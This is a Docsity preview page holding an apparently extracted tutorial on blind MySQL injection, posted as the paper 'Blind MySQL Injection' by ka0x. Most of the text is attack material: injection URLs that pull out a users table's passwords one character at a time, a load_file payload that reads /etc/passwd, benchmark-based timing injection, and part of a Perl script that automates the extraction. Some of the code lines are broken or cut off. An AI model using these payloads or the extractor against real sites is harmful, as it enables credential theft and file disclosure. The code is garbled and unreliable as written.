






Prepara tus exámenes y mejora tus resultados gracias a la gran cantidad de recursos disponibles en Docsity
Gana puntos ayudando a otros estudiantes o consíguelos activando un Plan Premium
Prepara tus exámenes
Prepara tus exámenes y mejora tus resultados gracias a la gran cantidad de recursos disponibles en Docsity
Prepara tus exámenes con los documentos que comparten otros estudiantes como tú en Docsity
Encuentra los documentos específicos para los exámenes de tu universidad
Estudia con lecciones y exámenes resueltos basados en los programas académicos de las mejores universidades
Responde a preguntas de exámenes reales y pon a prueba tu preparación
Consigue puntos base para descargar
Gana puntos ayudando a otros estudiantes o consíguelos activando un Plan Premium
Comunidad
Pide ayuda a la comunidad y resuelve tus dudas de estudio
Ebooks gratuitos
Descarga nuestras guías gratuitas sobre técnicas de estudio, métodos para controlar la ansiedad y consejos para la tesis preparadas por los tutores de Docsity
Blind MySQL Injection (Españo)
Tipo: Guías, Proyectos, Investigaciones
1 / 11
Esta página no es visible en la vista previa
¡No te pierdas las partes importantes!







Tabla:
Table: users by ka0x D.O.M Blind SQL Injection Paper
CREATE TABLE users ( id int( 10 ) unsigned NOT NULL auto_increment, name varchar( 50 ) NOT NULL, password varchar( 50 ) NOT NULL, PRIMARY KEY (id) ) ENGINE=MyISAM AUTO_INCREMENT= 2 DEFAULT CHARSET=latin1 AUTO_INCREMENT= 2 ;
users INSERT INTO users VALUES ( 1 , 'administrator', '1234%&_'); INSERT INTO users VALUES ( 2 , 'ka0x', 't3st_bl1nd'); INSERT INTO users VALUES ( 3 , 'bush', 'terrorist'); eof
mysql> use blind; Database changed mysql> select COUNT() from users; ++ | COUNT() | ++ | 3 | ++ 1 row in set (0.00 sec) mysql>
http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM admin)
http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM users)
http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM users) > 4
http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM users) = 3
http://localhost/blind.php?id=1 AND(SELECT Count(username) FROM users)
http://localhost/blind.php?id=1 AND(SELECT Count(password) FROM users)
http://localhost/blind.php?id=1 AND (SELECT length(password) FROM users where id=1) > 9
http://localhost/blind.php?id=1 AND (SELECT length(password) FROM users where id=1) = 7
mysql> select SUBSTRING('ka0x',3); ++ | SUBSTRING('ka0x',3) | ++ | 0x | ++ 1 row in set (0.00 sec)
mysql>
http://localhost/blind.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),1,1))=
ASCII 49 = 1
http://localhost/blind.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),2,1))=
ASCII 50 = 2
sub _START_WORK { my $p = shift ;
($p> {'id_value'}) = ( $p> {'u' } =~ /(\d+)$/ ) ; # Get the id value
my $position = 1 ;
pipe(R, W) ; pipe(Rs, Ws) ; autoflush STDOUT 1 ;
my $sql_message = '' ; my $msg = '' ; my @pid ;
while( $position <= $p> {'l' } ) { my $cf ; unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit( 0 ) ; } push(@pid, $cf) ;
my $count = 0 ; my $can_exit ; my $char_printed ;
while(
my ($res, $pos, $ascii) = ( split(/ /, $_) ) ; $count++ if $pos == $position ;
print "\b" x length($msg), ($msg = "$position $ascii ". chr($ascii) ) ;
if( $res eq 'yes' and $pos == $position ){ $char_printed = $can_exit = 1 ; print Ws "STOP $position\n" ; $sql_message .= chr( $ascii ) ; }
last if ( $can_exit or $count == @ascii ); }
map { waitpid($_, 0 ) } @pid ;
unless( $char_printed ) { if( $EXIT_IF_NO_CHAR ) { warn "\n[!] $EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n" ; last ; } }
$position++ ;
print "[i] SQL_FIELD:\n$sql_message\n" ;
}
sub CHECKING { my ($p, $position) = @ ; my $counter = 0 ; my $stop_position ;
foreach my $ascii ( @ascii ) { $counter++ ;
if( $counter % $p> {'t' } == 0 ) { my $stop_position ; eval { $SIG{'ALRM'} = sub { die "non_stop\n" } ; alarm $DEFAULT_THREADS_TIME ; my $line =
if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit( 0 ) ; } }
unless(my $pid = fork ) { print Ws "pid:$pid\n" or die ;
my $url = $p> {'u' }. ' AND ascii(substring((SELECT '. $p> {'cn' }. ' FROM '. $p> {'tn' }. ' where id='. $p> {'id_value'}. '),'. $position. ',1))='. $ascii ;
my $ua = LWP::UserAgent> new ; $ua> timeout( $p> {'T' } ) ;
my $content ; while( 1 ) { last if $content = $ua> get( $url )> content ; }
( $content =~ /$p> {'p' }/ )? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;
exit( 0 ) ; }
} }
sub _IS_VULN
http://localhost/blind.php?id=1 and substring(load_file(0x2f6574632f706173737764),1,1)=CHAR(144)
mysql> select benchmark(20000000, md5('ka0x')); ++ | benchmark(20000000, md5('ka0x')) | ++ | 0 | ++ 1 row in set (45.80 sec)
mysql>
http://localhost/blind.php?id=1/**/AND/benchmark(20000000,md5(0x6b613078))
http://www.milw0rm.com/papers/
EOF